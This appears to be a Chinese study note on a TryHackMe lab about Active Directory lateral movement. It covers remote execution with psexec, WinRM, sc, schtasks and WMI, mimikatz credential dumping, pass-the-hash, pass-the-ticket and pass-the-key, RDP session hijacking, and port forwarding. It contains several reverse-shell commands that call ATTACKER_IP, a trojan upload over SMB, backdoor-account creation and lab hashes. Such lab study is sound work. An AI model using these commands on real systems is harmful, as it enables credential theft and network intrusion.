AD-横向移动
THM-横向移动和旋转
远程生成进程
psexec:
允许管理员用户在有权访问出的任何pc上执行任何命令。
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
使用WinRm创建远程进程
- 端口: 5985/ TCP(WinRM HTTP)或 5986/ TCP(WinRM HTTPS)
- 所需组成员身份:远程管理用户
Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向Windows 主机发送 Powershell 命令
winrs.exe -u:Users -p:password -r:cmd
使用powershell实现相同的操作
$username='ysper';
$password='go!';
$securePassword=ConvertTo-SecureString $password -AsPlaint -Force
$credential=New-Object System.Management.Automation.PSCredential $username,$securePassword
Enter-PSSession -Computername TARGET -Credential $credential
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
使用sc远程创建服务
- 端口:
- 135/ TCP , 49152-65535/ TCP (DCE/RPC)
- 445/ TCP(通过SMB命名管道的 RPC)
- 139/ TCP(通过SMB命名管道的 RPC)
- 所需组成员身份:管理员
sc简单用法
sc query --查询服务
sc create servicename binpath "xxx" start=auto/demand --创建一个服务设置为手动启动或者开机自启
sc start/stop/delete servicename 开启/停止/删除服务
sc query servicename --查询某个服务的状态
schtasks创建windows计划任务
基本用法
schtasks create /tn "name" /tr "path or command" /sc 触发器
例子 schtasks create /tn 'task1' /tr "cmd /k" /sc hourly
/sc后面可以跟很多参数
- /sc onstart --系统启动的时候
- /sc onlogon --用户登陆的时候
schtasks /query --查询所有任务
schtasks /query /tn "任务名称" --查询特定任务
schtasks /run /tn "任务名称" --运行任务
schtasks /end /tn "任务名称" --停止任务
在域中管理员身份
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "cmd /c echo Hello World" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1" --启动
schtasks /S TARGET /TN "THMtask1" /DELETE /F --删除
/s TARGET:目标计算机的名称或 IP 地址。
/RU "SYSTEM":以 SYSTEM
用户身份运行任务。
/create:创建一个新任务。
/tn "THMtask1":任务名称为 THMtask1
。
/tr "cmd /c echo Hello World":任务执行 cmd /c echo Hello World
。
/sc ONCE:计划任务只执行一次。
/sd 01/01/1970:任务的开始日期为1970年1月1日(已经过期的日期,用于立即执行)。
/st 00:00:任务的开始时间为00:00。
理想环境操作
假设我们已经获取了一些具有管理访问权限的凭据
我们需要在这个已有的凭证横向移动到另一个服务
由于我们已经有了管理员的凭证,这个时候我们直接可以通过smb上传木马到我们要移动到的服务。
smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
注:这时候不能上传普通的exe文件,因为在你的木马开始运行的时候就会中断,因为他不是服务可执行文件。(在msf生成木马的时候加上-f exe-service
在msf准备好后,由于sc.exe
不允许我们在命令中指定凭据,因此我们需要使用runas
来生成具有 t1_leonard.summer 访问令牌的新 shell。不过,我们只能通过SSH访问该机器,因此如果我们尝试类似 的操作runas /netonly /user:ZA\t1_leonard.summers cmd.exe
,新的命令提示符将在用户会话中生成,但我们无法访问它。为了解决这个问题,我们可以使用 runas 来生成具有 t1_leonard.summers 访问令牌的第二个反向 shell:
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
最后在这个新连接中使用sc命令,创建一个新服务,来执行我们上传的木马
sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-3249
使用WMI远程创建服务
- 端口:
- 135/ TCP , 49152-65535/ TCP (DCERPC)
- 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
- 所需组成员身份:管理员
我们可以通过 Powershell 使用WMI创建服务。要创建名为 THMService2 的服务,我们可以使用以下命令:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
然后,我们可以获取该服务的句柄并使用以下命令启动它:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
最后,我们可以使用以下命令停止并删除该服务:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
使用WMI远程创建计划任务
- 端口:
- 135/ TCP , 49152-65535/ TCP (DCERPC)
- 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
- 所需组成员身份:管理员
我们可以使用 Windows 默认安装中的某些 cmdlet 创建和执行计划任务:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
要删除使用过的计划任务,我们可以使用以下命令:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过WMI安装 MSI 包
- 端口:
- 135/ TCP , 49152-65535/ TCP (DCERPC)
- 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
- 所需组成员身份:管理员
MSI 是安装程序使用的文件格式。如果我们可以将 MSI 包复制到目标系统,那么我们就可以使用 WMI 尝试为我们安装它。攻击者可以用任何可用的方法来复制该文件。 一旦 MSI 文件进入目标系统,我们就可以通过WMI调用 Win32_Product 类来尝试安装它:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
我们可以在旧系统中使用 wmic 实现相同的功能:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
实验环境下我们可以使用msf生成一个msi安装文件,通过WMI调用 Win32_Product 类来尝试安装它。
使用替代身份验证材料
利用mimikatz提取
前提已经有一个具有管理员的凭证了,然后利用工具横向移动
- ntml
- kerberos
两种不同的身份验证方式,分别利用来实现移动
传递哈希
从我们已获得管理权限的主机提取凭据(通过使用 mimikatz 或类似工具)后,我们可能会获得可轻松破解的明文密码或哈希值。但是,如果我们不够幸运,我们最终会得到无法破解的NTLM密码哈希值。
虽然看起来我们无法真正使用这些哈希,但只要知道密码哈希,就可以响应身份验证期间发送的NTLM质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证,我们无需破解 NTLM 哈希,就可以传递哈希(PtH) 并成功进行身份验证。
要提取NTLM哈希,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。
从本地 SAM提取NTLM哈希:
此方法仅允许您从计算机上的本地用户获取哈希值。域用户的哈希值不可用。
THMJMP2: Powershell
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
从 LSASS 内存中提取NTLM哈希:
此方法将允许您提取本地用户和最近登录到机器的任何域用户的任何NTLM哈希。
THMJMP2: Powershell
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
然后,我们可以使用提取的哈希值执行 PtH 攻击,方法是使用 mimikatz 在反向 shell(或任何其他你喜欢的命令)上为受害者用户注入访问令牌,如下所示:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
请注意,我们曾经token::revert
重新建立过我们原始的令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。
这相当于使用runas /netonly
哈希而不是密码,并将产生一个新的反向 shell,我们可以从中以受害者用户的身份启动任何命令。
传递票证
有时可以使用 mimikatz 从 LSASS 内存中提取Kerberos票证和会话密钥。该过程通常要求我们在受攻击的机器上拥有 SYSTEM 权限,可以按如下方式完成:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
请注意,如果我们只能访问票证而不能访问其对应的会话密钥,我们将无法使用该票证;因此,两者都是必需的。
虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数情况下,我们对 TGT 感兴趣,因为它们可用于请求访问用户被允许访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们拥有管理员的凭据,并且可以使用低权限帐户(仅分配给该帐户的帐户)提取 TGS。
一旦我们提取了所需的票证,我们就可以使用以下命令将票证注入到当前会话中:
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
在我们自己的会话中注入票证不需要管理员权限。此后,这些票证将可用于我们用于横向移动的任何工具。要检查票证是否已正确注入,可以使用 klist 命令:
THMJMP2: Powershell
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
传递哈希/传递密钥
这种攻击与PtH类似,但适用于Kerberos网络。
当用户请求 TGT 时,他们会发送一个使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是DES(当前 Windows 版本默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有其中任何一个密钥,我们就可以向 KDC 请求 TGT,而无需实际密码,因此得名传递密钥 (PtK)。
我们可以使用 mimikatz 通过以下命令从内存中获取Kerberos加密密钥:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
根据可用的密钥,我们可以在 mimikatz 上运行以下命令,通过 Pass-the-Key 获取反向 shell(nc64
为方便起见,THMJMP2 中已经提供):
如果我们有 RC4 哈希:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
如果我们有 AES128 哈希:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
如果我们有 AES256 哈希:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求TGT 。这种特殊变体通常称为Overpass-the-Hash (OPtH)。
实验环境下
一旦你有了加载了其凭据的命令提示符,就可以使用它winrs
连接到 THMIIS 上的命令提示符。由于 t1_toby.beck 的凭据已因任何攻击而注入到你的会话中,因此你可以在不指定任何凭据的情况下使用 winrs,它将使用当前会话中可用的凭据:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
RDP劫持
当管理员使用远程桌面连接到计算机并关闭RDP客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有 SYSTEM 权限,则可以接管任何现有的RDP会话而无需密码。
如果我们具有管理员级访问权限,我们可以通过任何我们喜欢的方法获取 SYSTEM 权限。目前,我们将使用 psexec 来执行此操作。首先,让我们以管理员身份运行 cmd.exe:

以管理员身份运行
从那里运行PsExec64.exe
(可从 获得C:\tools\
):
PsExec64.exe -s cmd.exe
要列出服务器上的现有会话,可以使用以下命令:
命令提示符
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
根据上面的命令输出,如果我们当前使用管理员用户通过RDPrdp-tcp#6
连接,我们的 SESSIONNAME 将是。我们还可以看到名为 luke 的用户已打开一个会话,其 id 为3
。 任何具有 Disc状态的会话都已被用户打开,目前未被使用。虽然您也可以接管活动会话,但当您这样做时,合法用户将被强制退出其会话,他们可能会注意到这一点。
要连接到会话,我们将使用 tscon.exe 并指定要接管的会话 ID 以及我们当前的 SESSIONNAME。按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,我们将使用以下命令:
tscon 3 /dest:rdp-tcp#6
简单来说,该命令表明 luke 拥有的图形会话应该与管理员用户拥有的RDP会话3
连接。rdp-tcp#6
因此,我们将恢复 luke 的RDP会话并立即连接到它。
注意: Windows Server 2019 不允许您如果不知道密码就连接到其他用户的会话。
转发端口
ssh转发
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
这将使用用户建立从 PC-1 到(攻击者 PC)的SSH会话。1.1.1.1tunneluser
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
该命令结构与远程端口转发中使用的命令结构类似,但使用-L本地端口转发选项。此选项要求我们指示 PC-1 用于接收连接的本地套接字 ( *:80) 以及从攻击者的 PC 角度要连接的远程套接字 ( 127.0.0.1:80)
socat转发
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
这fork选项允许 socat 为每个收到的连接派生一个新进程,从而可以处理多个连接而无需关闭。如果不包含它,socat 将在第一个连接完成时关闭。